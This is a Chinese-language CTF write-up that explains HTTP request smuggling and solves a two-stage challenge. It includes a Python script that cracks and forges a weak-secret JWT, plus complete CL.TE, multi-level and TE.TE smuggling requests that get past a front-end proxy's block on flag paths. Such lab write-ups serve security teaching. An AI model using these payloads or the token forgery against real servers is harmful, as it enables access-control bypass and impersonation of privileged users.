一.请求走私原理

为什么会存在:反向代理架构里,前端代理(counter/柜台)收到请求后要转发给后端应用(warehouse/后仓),两边都要确定”这个请求的 body 在哪结束、下一个请求从哪开始”。如果前端和后端对同一个请求的边界判定不一致,攻击者就可以把一个请求”藏”进 body 里,让它在前端眼里是数据、在后端眼里是独立请求——这就是 HTTP 请求走私(HTTP Request Smuggling)。

判定边界的两个头

  • Content-Length: N:body 固定 N 字节
  • Transfer-Encoding: chunked:body 按分块编码,读到 0\r\n\r\n 结束

RFC 9112 要求两者同时出现时应以 TE 为准(或直接拒绝),但现实中的组件各不相同,于是有了三种经典形态:

形态 前端 后端 说明
CL.TE 信 CL 信 TE 前端按 CL 转发,后端读完 0\r\n\r\n 后把剩余字节当新请求
TE.CL 信 TE 信 CL 后端按 CL 只读一部分,剩余的成走私请求
TE.TE 对 TE 头解析不同 同左 头混淆(空格/大小写/重复),一边认为有 TE 一边认为没有

危害:绕过前端 ACL(前端拦截的路径走私直达后端)、劫持其他用户的请求/响应、缓存投毒等。本题考的就是第一条:/flag1 /flag2 被前端巡逻队拦截(直接访问 403 逮捕页),走私绕过它。

二.题目侦察

浏览器抓包逛一遍站点,拿到地图:

  • / 黑市主页:暗示 /hint 有引路人
  • /hint:给了一张 guest JWT 和一张候选密钥表
  • /stage1 黑商1:“先让柜台只看货箱长度,再让后仓按分块清点。目标货物:/flag1 记得带上能证明你是高级买家的票据。” → CL.TE 提示
  • /stage2 黑商2:“冒号前多了一粒灰……Transfer-Encoding 后的空隙,可能就是黑市小巷” → TE.TE 提示
  • /flag1 /flag2:直接 GET → 403 逮捕页(”你已因尝试获取flag被逮捕!”)

/hint 给出的关键信息:

1
2
3
4
5
6
7
8
guest JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJndWVzdCIsInNjb3BlIjoicmVhZCJ9.CG6d0k62ZfRAcq9kdqz3TQIZ6irniRCrQLyqh9WbnM8

payload: {"sub":"traveler","role":"guest","scope":"read"}

候选密钥(印章油墨): MoeCTF / xdu / xidian / xdsec / L / welcome / happy / fish

提示:高级买家的票据写着 role=admin,交易范围必须盖成 scope=flags

三.前置:JWT弱密钥爆破与伪造

HS256 对称签名,密钥就在 8 个候选词里。脚本逐词验签:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hmac, hashlib, base64, json

b64e = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()

header = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
payload = "eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJndWVzdCIsInNjb3BlIjoicmVhZCJ9"
sig = "CG6d0k62ZfRAcq9kdqz3TQIZ6irniRCrQLyqh9WbnM8"
words = ["MoeCTF","xdu","xidian","xdsec","L","welcome","happy","fish"]

for w in words:
if b64e(hmac.new(w.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()) == sig:
print("[+] secret =", w) # -> fish
break

# 伪造 admin 票据:只改 payload,用同一个密钥重新签名
p = b64e(json.dumps({"sub":"traveler","role":"admin","scope":"flags"}, separators=(",",":")).encode())
new_jwt = f"{header}.{p}." + b64e(hmac.new(b"fish", f"{header}.{p}".encode(), hashlib.sha256).digest())
print(new_jwt)

得到 admin 票据(后面全程用它):

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJhZG1pbiIsInNjb3BlIjoiZmxhZ3MifQ.EQmuoZNLf5aUF-WJ1MdjUFZJgPilOkgJRjXawdvIooI

四.Stage1:CL.TE 走私

1.构造走私报文

浏览器随便抓一个 /stage1 的包 Send to Repeater,改成如下结构:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 192.168.43.33:3280
Content-Type: application/x-www-form-urlencoded
Content-Length: 230
Transfer-Encoding: chunked

0

GET /flag1 HTTP/1.1
Host: 192.168.43.33:3280
Authorization: Bearer <admin JWT>

要点(bp 里操作):

  1. 方法改 POST,路径随意(/ /stage1 都行)
  2. 同时保留 Content-LengthTransfer-Encoding: chunked 两个头
  3. body 先写一个 chunked 终止块:0 + 空行(实际字节是 0\r\n\r\n
  4. 终止块后面紧跟走私请求:请求行 + Host + Authorization: Bearer <JWT> + 结束空行
  5. bp 的 Repeater 默认勾着 Update Content-Length,Send 时会自动把外层 CL 重算成 body 总字节数——这个一定要开着,手数必错(后面有血泪教训)

原理:前端(柜台)信 CL,把整个 body(终止块+走私请求,230 字节)当作数据整体转发;后端(后仓)信 TE,读到 0\r\n\r\n 认为第一个请求结束,剩下的字节就是它视角里的下一个请求——绕过了前端对 /flag1 的拦截。

2.单级走私 → 还是403

Send 之后拿到第二个响应,却是 403。这里踩了几个坑,每个坑的”验尸”过程比结果更有复习价值:

坑一:没有 TE 头 → 服务器挂死
只写 Content-Length: 999 不写 Transfer-Encoding,走私根本不发生:后端老老实实等 999 字节 body,实际只发了 230,连接直接超时无响应。CL+TE 同时存在才是走私开关。

坑二:JWT 断行 → 「票据无效」
从浏览器复制 JWT 时被折成三行:

1
2
3
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6...
EQmuoZNLf5aUF-WJ1MdjUFZJgPilOkgJRjXawdvIooI

HTTP 头的值不允许裸换行。走私请求到达后端验票失败,返回 403 标题是「票据无效」的页面。注意这和「你已因尝试获取flag被逮捕」是两个不同的 403——这两种 403 页面是本题最重要的 oracle:出现”票据无效”说明走私通道已通、票据没被读对;出现”逮捕”说明走私结构本身没过关。

坑三:走私深度不够
JWT 完整一行了,单级走私还是 403「逮捕」。这道题(旧实例)要求”隐秘的小道”= 多级走私:走私出去的请求自己又是一个 CL+TE 矛盾请求,再走私一层,第二级才到达真正验票的后仓。

3.多级走私 → flag1

在单级外面再套一层,即”走私请求 = POST /stage1 且自带 CL+TE 矛盾”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1
Host: 192.168.43.33:3280
Content-Length: 330
Transfer-Encoding: chunked

0

POST /stage1 HTTP/1.1
Host: 192.168.43.33:3280
Content-Length: 225
Transfer-Encoding: chunked

0

GET /flag1 HTTP/1.1
Host: 192.168.43.33:3280
Authorization: Bearer <admin JWT>

同一个连接后面再跟一个正常请求(走私请求的响应会顶到它的响应位),Send:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK        ← 外层 POST / 的响应
HTTP/1.1 200 OK ← 一级走私 POST /stage1 的响应
HTTP/1.1 200 OK
Content-Length: 27
Content-Type: text/plain

flag1: moectf{Y0u_have_m4r ← 二级走私的响应!
HTTP/1.1 200 OK ← 跟随请求的响应

4.插叙:Content-Length 到底从哪开始数

手搓走私死得最惨的就是 CL。规则一句话:CL = 从请求头结束空行之后的第一个字节,到报文最后一个字节。头部分(含 CL 行自己、含头部结束空行)一个字节都不算。

以上面单级走私为例,body 的字节构成:

1
2
3
4
5
6
7
8
9
 3   0\r\n                              终止块大小行
2 \r\n 终止块结束空行
21 GET /flag1 HTTP/1.1\r\n
26 Host: 192.168.43.33:3280\r\n
170 Authorization:Bearer <JWT>\r\n JWT 有 147 字符
24 Connection: keep-alive\r\n
2 \r\n 走私请求结束空行
───
248 Content-Length 应填的值

血泪点:

  • \r\n2 字节不是 1,每行末尾都有
  • 走私请求最后的空行也算在 CL 里,漏了正好差 2
  • CL 大了 → 后端等数据挂起无响应;CL 小了 → 走私请求被拦腰截断
  • 手数 JWT/Host 行极容易错(我手算 145,实际 147),永远让程序算或让 bp 的 Update Content-Length 代劳

五.Stage2:TE.TE 头混淆走私

黑商2 的暗号:“两边都认识 TE 的名号,可他们读招牌的脾气不同。让前门觉得这不是那张招牌,让后门照常按 TE 的规矩收货。” —— 经典 TE.TE。

「冒号前多了一粒灰」:把 TE 头写成冒号前带空格的非法形式:

1
2
3
4
5
6
7
8
9
10
11
12
POST /stage2 HTTP/1.1
Host: 192.168.43.33:3280
Content-Length: 230
Transfer-Encoding : chunked
↑ 冒号前这个空格就是"黑市小巷"

0

GET /flag2 HTTP/1.1
Host: 192.168.43.33:3280
Authorization: Bearer <admin JWT>

严格解析的前端认为 Transfer-Encoding (带尾空格的头名)不是 TE 头,于是按 CL 读 body 转发;宽松解析的后端仍然认它是 TE,按 chunked 清点——走私成立。这里有两个实例相关的坑:

  • 外层路径要发 POST /stage2(发 POST / 不触发这个走私分支,直接变成普通请求)
  • 标准写法 Transfer-Encoding: chunked 反而 403(前端也认了,走的是 Stage1 的拦截逻辑)

Send,第二个响应:

1
flag2: 3d_http_5mu6g1!n6

六.拼合与总结

1
2
3
flag1: moectf{Y0u_have_m4r
flag2: 3d_http_5mu6g1!n6}
拼合 → moectf{Y0u_have_m4r3d_http_5mu6g1!n6}

(Y0u_have_m4r3d_http_5mu6g1!n6 = “You have mastered http smuggling”)

复习清单

  1. 走私开关 = Content-Length + Transfer-Encoding 同时存在的矛盾;只写 CL 就是被当普通请求处理
  2. CL 计数起点 = 头部结束空行之后;\r\n 算 2 字节;走私请求末尾空行要算;交给 bp 的 Update Content-Length
  3. JWT 必须完整一行;走私请求的结束 \r\n\r\n 不能丢(少了走私数据会被丢弃)
  4. 票据只走 Authorization: BearerCookie 后端根本不读
  5. 两种 403 是诊断 oracle:「逮捕」= 走私结构没过,「票据无效」= 通道通了票没传对
  6. 动态靶机会重部署,走私深度(单级/多级)、触发路径(POST / 还是 POST /stage2)都可能变,先小步探测再上完整 payload
  7. TE.TE 常见混淆位:冒号前空格、冒号后 tab、值大小写、值前后空格——逐个试,看哪边”不认识”

参考与延伸

  • PortSwigger Web Security Academy - HTTP request smuggling(bp 官方教程,全套实验强烈推荐)
  • RFC 9112 §6(Message Body 的 CL/TE 处理规则)